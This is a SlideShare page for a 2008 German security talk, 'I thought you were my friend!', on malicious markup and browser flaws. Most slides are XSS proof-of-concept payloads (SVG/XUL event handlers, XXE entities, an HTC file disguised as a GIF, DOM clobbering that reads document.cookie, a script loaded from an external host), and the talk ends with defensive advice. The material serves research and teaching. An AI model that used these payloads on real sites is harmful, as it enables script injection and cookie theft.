SlideShare ist ein Scribd-Unternehmen logo
1 von 47
Downloaden Sie, um offline zu lesen
1
I thought you were my friend!
Böses Markup, Browserlücken und andere Wunderlichkeiten
Vortrag von Mario Heiderich
12 / 2008
2
My online cock
 CSO für ormigo.com... (noch ein paar Tage zumindest)
 Web Retard
 FUD Peddler par excellence
 Speaker auf ph-neutral, OWASP Europe, etc.
 Freelance Security Researcher und Consultant
 http://php-ids.org, CSRFx, qUIpt, ...
 http://mario.heideri.ch/
3
Speisekarte
 Schein
 Selbstwahrnehmung der Browser Vendors
 Reputationen, Meinungen und anderer Bull
 Innehalten...
 Sein
 Vergessene Schätze
 PoCs, Exploits und Angiffsszenarien
4
WTF!?
Will man wissen was passiert
wenn man
'der sicherste Browser'
googelt...?
5
Selbstdarstellung
6
Selbstdarstellung
7
Selbstdarstellung
8
Nutzerverhalten
 Der normale User
 Klickt auf das blaue E um ins Internet rein zu kommen. Innen rein.
 Klickt Warnmeldungen weg. Alle.
 Web-Entwickler
 Kommen (noch) nicht um Firefox herum und klicken auch alles weg.
 Installieren ebenfalls alles – vor allem Extensions
 Mac User
 Nutzen Safari – weil von Apple. Surfen aussließlich im Apple Store.
 Security-Folks
 Nutzen Torpark mit NoScript, FlashBlock,
AdBlock Plus, RequestRodeo, etc..
9
Hackerfox
10
Timeline
 Firefox: 296 Advisories
 Internet Explorer: 337 Advisories
 Opera: 349 Advisories
 Safari: 69 Advisories (who gives a damn...?)
11
Und bald...
 Wird das Internet noch viel bunter
 HTML5, CSS3, Silverlight, Flash 11
 DOM Level 3, Client Side Storage
 SVG, Canvas, MathML, SMIL (die Wiedergeburt)
 XForms, XPath, Xquery, XRegurgitate...
12
Dabei...
...überschauen wir ja nicht mal mehr die Features die es
schon längst gibt...
13
Widerspruch?
 Hand heben – wer kennt...
 XBL?
 Data Islands?
 XXE?
 ”Elemente im globalen Geltungsbereich”?
 XHTML Namespaces?
14
Oder....
Die grausamen
Fallstricke
ganz normalen
HTMLs
15
Kommen wir aber zum Punkt
 Es folgen eine Reihe an konkreten
Beispielen
 Komisches, Nerviges und wirklich
Gefährliches
 Nichts zum Thema Clickjacking
16
Rahahaa...
17
showModalDialog()
<html>
<head>
<script>
onfocus = function() {
name = 'javascript:with(this)with(document)write(cookie)';
showModalDialog(
name,
null,
'unadorned:no,dialogWidth:1000%,dialogHeight:1000%,
scroll:0,status:0,resizable:0,edge:sunken'
);
onfocus = null;
}
</script>
</head>
<body>
</body>
</html>
PoC
18
Inline SVG
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>
<image src="x" onerror="alert(1)"></image>
PoC
19
XHTML Namespaces
<html xmlns:ø="http://www.w3.org/1999/xhtml">
<ø:script src="//0x.lv/" />
</html>
PoC
20
Inline Namespaces
<img:img
xmlns:img="http://www.w3.org/1999/xhtml"
src=""
onerror="alert(this)"
/>
PoC
21
XUL
<html>
<xul:image
onerror="alert(2)"
src="x"
xmlns:xul="http://mozilla.org/keymaster/gatekeeper/there.is.only.xul"
/>
</html>
PoC
22
XXE 1/2
(XML eXternal Entities)
<!DOCTYPE xss
[
<!ENTITY x "<script>alert(this)</script>">
]
>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
&x;
</head>
</html>
PoC
23
XXE 2/2
(XML eXternal Entities)
<!DOCTYPE html PUBLIC "" "" [
<!ENTITY copy "<script>alert(1)</script>">
<!ENTITY auml "<script>alert(2)</script>">
]>
<html xmlns="http://www.w3.org/1999/xhtml">
&copy;
&auml;
</html>
PoC
24
HTC via IMG 1/2
(HTML Components)
<html>
<head>
<style>
body {
behavior: url(test.gif.htc);
}
</style>
</head>
<body>
<h1>CLICK ME!</h1>
</body>
</html>
25
HTC via IMG 2/2
GIF89ad d ! Y, d d s� ���������� � ���� � �� �����
��� ��� �����������H� �扦 L Ģ L* Jʶ��� ������� � � �̦� �
� ��j� ��������N (8HXhx iX���� ���������� �������� �
GIF89ad.d..........!.Y
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
.,....d.d...s..................H...........L...
.............L*......J......j............N.....
................(8HXhx.........iX..;
26
Data Islands
<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload">
fooooo!
</label>
</body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(top)>]]>
</payload>
</x>
27
Hidden fields vs. CSS
<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
display: block;
height: 100px;
border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
alert(this.value);
};
</script>
PoC
28
Rogue Events 1/2
<body onkeypress="return false;"></body>
<script>
event = document.createEvent("KeyEvents");
event.initKeyEvent("keypress", true, true, null, true, false,
false, false, 0, 0);
document.dispatchEvent(event);
</script>
PoC
29
Rogue Events 2/2
<html>
<body>
<ul>
<li onselect="alert(this)">
<form onselect="alert(this)" action="#">
<input type="text" onselect="alert(this)" value="select
me!" />
</form>
</li>
</ul>
<html onclick="alert(this)">
<body onclick="alert(this)">
<div onclick="alert(this)"></div>
<div onclick="alert(this)">
<a href="#" onclick="alert(this)" id="test">foo</a>
</div>
</body>
</html>
PoC
30
Rogue Events 3/3
 Tastatureingaben komplett blocken
 Man kombiniere dies mit onunload und
unbeforeunload
 Framebusterbuster
 Firefox kann nicht einmal das DOM in
korrekter Reihenfolge traversen
 Ein Blumenstrauß an Angriffsvektoren
31
Label of Death 1/2
<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed
diam nonummy nibh euismod tincidunt ut laoreet dolore magna
aliquam erat volutpat. velit esse molestie consequat, vel illum
dolore eu feugiat nulla facilisis at vero et accumsan et iusto
odio dignissim qui blandit
<form action="test.php" method="post">
<input type="text" name="text" value="text" />
<input type="password" name="password" value="secret!" />
<input type="submit" id="submit" value="Go!" />
</form>
PoC
32
Label of Death 2/2
 Offene Label Tags feuern Klicks...
 ... echte Klicks!
 Auf nachfolgende Elemente mit passender ID
 Auf alles was zwichen Label und Element liegt
 Links, Formulare, Buttons...
33
XHR Request Method Fuzzing
<html>
<head>
<body>
<script>
var x = new XMLHttpRequest();
var m = '$$';
for(var i=0; i <= 21; i++) {
m += m;
}
x.open(m, '404.html', false);
x.send(null);
</script>
</body>
</html>
PoC
34
Snap!
35
And finally...
 DOM Redressing
 Über die guten alten IDs
 0day für IE8b2, IE7, IE6
 Naja fast – seit ca. zwei Wochen gefixt (silently)
 Traue Deinem DOM nicht!
36
DOM Redressing 1/3
<form id="a">
<input id="b" />
</form>
<script>alert(a.b)</script>
37
DOM Redressing 2/3
<a id="url" href="javascript:alert(1)">
<script>location=url;</script>
38
DOM Redressing 3/3
<form id="document" cookie="foo">
<script>alert(document.cookie)</script>
<form id="location" href="bar">
<script>alert(location.href)</script>
<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>
PoC
39
Markupgeddon
40
Schlussfolgern wir...
 Labels sind böse – besser gesagt die FOR
Attribute...
 IDs sind böse
 HTML Header Injections sind böse
 Styles – sind... na? Böse!
 Fehlende Doctypes auch
 Inline SVG ist böse – externes SVG auch
41
Weiterhin böse sind...
 Tags wie NOEMBED und NOAPPLET
 Firefox
 Firefox
 Und wieder Firefox und sein proprietärer,
schlecht kopierter Feature-Müll
 Oncopy/Onpaste/Oncut Events
 UTF7 CSS, UTF7 XBL etc... - UTF7 ist generell
einfach nur böse
42
Daher...
 WYSIWYG niemals ohne HTMLPurifier oder
AntiSamy
 Kenne Dein Markup!
 Setze Deine Header!
 Nutze die MDC https://developer.mozilla.org/En
 Verlasse Dich niemals auf Blacklists!
 Niemals!
43
Und vergessen wir nicht...
 ...was uns droht
 XML ohne Namespaces - OMFG!
 Stripped Doctypes
 Azubis und Praktikanten
 Management Lunatics
 HTML 5 Madness
 OBJECT Tag als Multitalent
 SVG Fonts...
44
ChromeQuake - OMGWTF!!1
45
Ach ja, danke Trident 2.2!
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
<html>
<head>
<style type="text/css">
@font-face {
font-family: xss;
src: url(test.svg#xss) format("svg");
}
body {font: 0px "xss"; }
</style>
</head>
</html>
46
Vielen Dank!
 Fragen?
 Mehr Informationen und Beispielcode
 http://maliciousmarkup.blogspot.com/
 http://code.google.com/p/google-caja/wiki/AttackVectors
 http://sla.ckers.org/forum/read.php?2,15812
 Toools
 http://www.owasp.org/index.php/SpoC_007_-_OWASP_The_Anti-
 http://htmlpurifier.org/
47
BUY MYBUY MY
BOOK!!1BOOK!!1
OR SOMETHINGOR SOMETHING
HORRIBLE WILLHORRIBLE WILL
HAPPEN WHILEHAPPEN WHILE
YOU SLEEP!!!!!!YOU SLEEP!!!!!!

Weitere ähnliche Inhalte

Andere mochten auch

HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
 
How to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole CityHow to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole CityYurii Bilyk
 
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood
How-to crack 43kk passwords  while drinking your  juice/smoozie in the HoodHow-to crack 43kk passwords  while drinking your  juice/smoozie in the Hood
How-to crack 43kk passwords while drinking your juice/smoozie in the HoodYurii Bilyk
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
An Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSMario Heiderich
 

Andere mochten auch (8)

HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
 
How to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole CityHow to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole City
 
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood
How-to crack 43kk passwords  while drinking your  juice/smoozie in the HoodHow-to crack 43kk passwords  while drinking your  juice/smoozie in the Hood
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML Apocalypse
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
An Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJS
 

Ähnlich wie I thought you were my friend!

Top 10 Internet Trends 2006
Top 10 Internet Trends 2006Top 10 Internet Trends 2006
Top 10 Internet Trends 2006Jürg Stuker
 
Einstieg in Xpath für SEO (Campixx2021)
Einstieg in Xpath für SEO (Campixx2021)Einstieg in Xpath für SEO (Campixx2021)
Einstieg in Xpath für SEO (Campixx2021)Sebastian Adler
 
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz Edition
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz EditionEffiziente Fehlersuche In Web 2.0 Anwendungen - Graz Edition
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz EditionMartin Leyrer
 
Dojo Und Notes
Dojo Und NotesDojo Und Notes
Dojo Und Notesdominion
 
Effiziente Fehlersuche in Web 2.0 Anwendungen
Effiziente Fehlersuche in Web 2.0 AnwendungenEffiziente Fehlersuche in Web 2.0 Anwendungen
Effiziente Fehlersuche in Web 2.0 AnwendungenMartin Leyrer
 
Augmented Reality Workshop
Augmented Reality WorkshopAugmented Reality Workshop
Augmented Reality Workshopargency
 
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsAber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsGregor Biswanger
 
Nutze die Macht @ IKT-Forum 09 Linz
Nutze die Macht @ IKT-Forum 09 LinzNutze die Macht @ IKT-Forum 09 Linz
Nutze die Macht @ IKT-Forum 09 LinzEric Eggert
 
The pain of choice - Important libs for C# developers
The pain of choice - Important libs for C# developersThe pain of choice - Important libs for C# developers
The pain of choice - Important libs for C# developersFDeitelhoff
 
Einführung in die webOS Programmierung
Einführung in die webOS ProgrammierungEinführung in die webOS Programmierung
Einführung in die webOS ProgrammierungMarkus Leutwyler
 
Technische SEO Probleme finden mit Tools
Technische SEO Probleme finden mit ToolsTechnische SEO Probleme finden mit Tools
Technische SEO Probleme finden mit ToolsTimon Hartung
 
Von Typo3 zu Plone - Ein Migrationsbericht
Von Typo3 zu Plone - Ein MigrationsberichtVon Typo3 zu Plone - Ein Migrationsbericht
Von Typo3 zu Plone - Ein MigrationsberichtAndreas Schiweck
 
German: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit JavascriptGerman: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit JavascriptRalf Schwoebel
 
Lightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPALightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPAmh0708
 
Hands-on: Coding for Data-Journalism
Hands-on: Coding for Data-JournalismHands-on: Coding for Data-Journalism
Hands-on: Coding for Data-JournalismOpen Data Network
 
Die Zukunft der Webstandards - Webinale 31.05.2010
Die Zukunft der Webstandards - Webinale 31.05.2010Die Zukunft der Webstandards - Webinale 31.05.2010
Die Zukunft der Webstandards - Webinale 31.05.2010Patrick Lauke
 
HTML5 - presentation at W3C-Tag 2009
HTML5 - presentation at W3C-Tag 2009HTML5 - presentation at W3C-Tag 2009
HTML5 - presentation at W3C-Tag 2009Felix Sasaki
 
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEE
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEESchnelle Winkel: 10x schnellere Webapps mit AngularJS und JEE
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEEBenjamin Schmid
 

Ähnlich wie I thought you were my friend! (20)

Top 10 Internet Trends 2006
Top 10 Internet Trends 2006Top 10 Internet Trends 2006
Top 10 Internet Trends 2006
 
Einstieg in Xpath für SEO (Campixx2021)
Einstieg in Xpath für SEO (Campixx2021)Einstieg in Xpath für SEO (Campixx2021)
Einstieg in Xpath für SEO (Campixx2021)
 
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz Edition
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz EditionEffiziente Fehlersuche In Web 2.0 Anwendungen - Graz Edition
Effiziente Fehlersuche In Web 2.0 Anwendungen - Graz Edition
 
Dojo Und Notes
Dojo Und NotesDojo Und Notes
Dojo Und Notes
 
HTML5
HTML5HTML5
HTML5
 
Effiziente Fehlersuche in Web 2.0 Anwendungen
Effiziente Fehlersuche in Web 2.0 AnwendungenEffiziente Fehlersuche in Web 2.0 Anwendungen
Effiziente Fehlersuche in Web 2.0 Anwendungen
 
Augmented Reality Workshop
Augmented Reality WorkshopAugmented Reality Workshop
Augmented Reality Workshop
 
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsAber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
 
Nutze die Macht @ IKT-Forum 09 Linz
Nutze die Macht @ IKT-Forum 09 LinzNutze die Macht @ IKT-Forum 09 Linz
Nutze die Macht @ IKT-Forum 09 Linz
 
The pain of choice - Important libs for C# developers
The pain of choice - Important libs for C# developersThe pain of choice - Important libs for C# developers
The pain of choice - Important libs for C# developers
 
Einführung in die webOS Programmierung
Einführung in die webOS ProgrammierungEinführung in die webOS Programmierung
Einführung in die webOS Programmierung
 
Technische SEO Probleme finden mit Tools
Technische SEO Probleme finden mit ToolsTechnische SEO Probleme finden mit Tools
Technische SEO Probleme finden mit Tools
 
Von Typo3 zu Plone - Ein Migrationsbericht
Von Typo3 zu Plone - Ein MigrationsberichtVon Typo3 zu Plone - Ein Migrationsbericht
Von Typo3 zu Plone - Ein Migrationsbericht
 
German: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit JavascriptGerman: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit Javascript
 
Lightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPALightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPA
 
Hands-on: Coding for Data-Journalism
Hands-on: Coding for Data-JournalismHands-on: Coding for Data-Journalism
Hands-on: Coding for Data-Journalism
 
Die Zukunft der Webstandards - Webinale 31.05.2010
Die Zukunft der Webstandards - Webinale 31.05.2010Die Zukunft der Webstandards - Webinale 31.05.2010
Die Zukunft der Webstandards - Webinale 31.05.2010
 
HTML5 - presentation at W3C-Tag 2009
HTML5 - presentation at W3C-Tag 2009HTML5 - presentation at W3C-Tag 2009
HTML5 - presentation at W3C-Tag 2009
 
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEE
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEESchnelle Winkel: 10x schnellere Webapps mit AngularJS und JEE
Schnelle Winkel: 10x schnellere Webapps mit AngularJS und JEE
 
Hdc2012 cordova-präsi
Hdc2012 cordova-präsiHdc2012 cordova-präsi
Hdc2012 cordova-präsi
 

Mehr von Mario Heiderich

ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...Mario Heiderich
 
In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesMario Heiderich
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
 

Mehr von Mario Heiderich (10)

ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
 
In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you scream
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the Sill
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG Files
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
 

I thought you were my friend!

  • 1. 1 I thought you were my friend! Böses Markup, Browserlücken und andere Wunderlichkeiten Vortrag von Mario Heiderich 12 / 2008
  • 2. 2 My online cock  CSO für ormigo.com... (noch ein paar Tage zumindest)  Web Retard  FUD Peddler par excellence  Speaker auf ph-neutral, OWASP Europe, etc.  Freelance Security Researcher und Consultant  http://php-ids.org, CSRFx, qUIpt, ...  http://mario.heideri.ch/
  • 3. 3 Speisekarte  Schein  Selbstwahrnehmung der Browser Vendors  Reputationen, Meinungen und anderer Bull  Innehalten...  Sein  Vergessene Schätze  PoCs, Exploits und Angiffsszenarien
  • 4. 4 WTF!? Will man wissen was passiert wenn man 'der sicherste Browser' googelt...?
  • 8. 8 Nutzerverhalten  Der normale User  Klickt auf das blaue E um ins Internet rein zu kommen. Innen rein.  Klickt Warnmeldungen weg. Alle.  Web-Entwickler  Kommen (noch) nicht um Firefox herum und klicken auch alles weg.  Installieren ebenfalls alles – vor allem Extensions  Mac User  Nutzen Safari – weil von Apple. Surfen aussließlich im Apple Store.  Security-Folks  Nutzen Torpark mit NoScript, FlashBlock, AdBlock Plus, RequestRodeo, etc..
  • 10. 10 Timeline  Firefox: 296 Advisories  Internet Explorer: 337 Advisories  Opera: 349 Advisories  Safari: 69 Advisories (who gives a damn...?)
  • 11. 11 Und bald...  Wird das Internet noch viel bunter  HTML5, CSS3, Silverlight, Flash 11  DOM Level 3, Client Side Storage  SVG, Canvas, MathML, SMIL (die Wiedergeburt)  XForms, XPath, Xquery, XRegurgitate...
  • 12. 12 Dabei... ...überschauen wir ja nicht mal mehr die Features die es schon längst gibt...
  • 13. 13 Widerspruch?  Hand heben – wer kennt...  XBL?  Data Islands?  XXE?  ”Elemente im globalen Geltungsbereich”?  XHTML Namespaces?
  • 15. 15 Kommen wir aber zum Punkt  Es folgen eine Reihe an konkreten Beispielen  Komisches, Nerviges und wirklich Gefährliches  Nichts zum Thema Clickjacking
  • 17. 17 showModalDialog() <html> <head> <script> onfocus = function() { name = 'javascript:with(this)with(document)write(cookie)'; showModalDialog( name, null, 'unadorned:no,dialogWidth:1000%,dialogHeight:1000%, scroll:0,status:0,resizable:0,edge:sunken' ); onfocus = null; } </script> </head> <body> </body> </html> PoC
  • 18. 18 Inline SVG <?xml version="1.0" encoding="UTF-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <svg:g onload="alert(8)"/> </html> <image src="x" onerror="alert(1)"></image> PoC
  • 22. 22 XXE 1/2 (XML eXternal Entities) <!DOCTYPE xss [ <!ENTITY x "<script>alert(this)</script>"> ] > <html xmlns="http://www.w3.org/1999/xhtml"> <head> &x; </head> </html> PoC
  • 23. 23 XXE 2/2 (XML eXternal Entities) <!DOCTYPE html PUBLIC "" "" [ <!ENTITY copy "<script>alert(1)</script>"> <!ENTITY auml "<script>alert(2)</script>"> ]> <html xmlns="http://www.w3.org/1999/xhtml"> &copy; &auml; </html> PoC
  • 24. 24 HTC via IMG 1/2 (HTML Components) <html> <head> <style> body { behavior: url(test.gif.htc); } </style> </head> <body> <h1>CLICK ME!</h1> </body> </html>
  • 25. 25 HTC via IMG 2/2 GIF89ad d ! Y, d d s� ���������� � ���� � �� ����� ��� ��� �����������H� �扦 L Ģ L* Jʶ��� ������� � � �̦� � � ��j� ��������N (8HXhx iX���� ���������� �������� � GIF89ad.d..........!.Y <PUBLIC:COMPONENT> <PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" /> </PUBLIC:COMPONENT> .,....d.d...s..................H...........L... .............L*......J......j............N..... ................(8HXhx.........iX..;
  • 26. 26 Data Islands <html> <body> <xml id="xss" src="island.xml"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"> fooooo! </label> </body> </html> <?xml version="1.0"?> <x> <payload> <![CDATA[<img src=x onerror=alert(top)>]]> </payload> </x>
  • 27. 27 Hidden fields vs. CSS <html> <head> </head> <body> <form action="#"> <input type="hidden" id="hidden" value="secret!" /> </form> </body> </html> <style> input[type=hidden] { display: block; height: 100px; border: 2px solid red; } </style> <script> document.getElementById('hidden').onmouseover = function(){ alert(this.value); }; </script> PoC
  • 28. 28 Rogue Events 1/2 <body onkeypress="return false;"></body> <script> event = document.createEvent("KeyEvents"); event.initKeyEvent("keypress", true, true, null, true, false, false, false, 0, 0); document.dispatchEvent(event); </script> PoC
  • 29. 29 Rogue Events 2/2 <html> <body> <ul> <li onselect="alert(this)"> <form onselect="alert(this)" action="#"> <input type="text" onselect="alert(this)" value="select me!" /> </form> </li> </ul> <html onclick="alert(this)"> <body onclick="alert(this)"> <div onclick="alert(this)"></div> <div onclick="alert(this)"> <a href="#" onclick="alert(this)" id="test">foo</a> </div> </body> </html> PoC
  • 30. 30 Rogue Events 3/3  Tastatureingaben komplett blocken  Man kombiniere dies mit onunload und unbeforeunload  Framebusterbuster  Firefox kann nicht einmal das DOM in korrekter Reihenfolge traversen  Ein Blumenstrauß an Angriffsvektoren
  • 31. 31 Label of Death 1/2 <html> <body> <label for="submit"> Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero et accumsan et iusto odio dignissim qui blandit <form action="test.php" method="post"> <input type="text" name="text" value="text" /> <input type="password" name="password" value="secret!" /> <input type="submit" id="submit" value="Go!" /> </form> PoC
  • 32. 32 Label of Death 2/2  Offene Label Tags feuern Klicks...  ... echte Klicks!  Auf nachfolgende Elemente mit passender ID  Auf alles was zwichen Label und Element liegt  Links, Formulare, Buttons...
  • 33. 33 XHR Request Method Fuzzing <html> <head> <body> <script> var x = new XMLHttpRequest(); var m = '$$'; for(var i=0; i <= 21; i++) { m += m; } x.open(m, '404.html', false); x.send(null); </script> </body> </html> PoC
  • 35. 35 And finally...  DOM Redressing  Über die guten alten IDs  0day für IE8b2, IE7, IE6  Naja fast – seit ca. zwei Wochen gefixt (silently)  Traue Deinem DOM nicht!
  • 36. 36 DOM Redressing 1/3 <form id="a"> <input id="b" /> </form> <script>alert(a.b)</script>
  • 37. 37 DOM Redressing 2/3 <a id="url" href="javascript:alert(1)"> <script>location=url;</script>
  • 38. 38 DOM Redressing 3/3 <form id="document" cookie="foo"> <script>alert(document.cookie)</script> <form id="location" href="bar"> <script>alert(location.href)</script> <form id="document"> <select id="body">bar</select> </form> <script> alert(document.body.innerHTML) </script> PoC
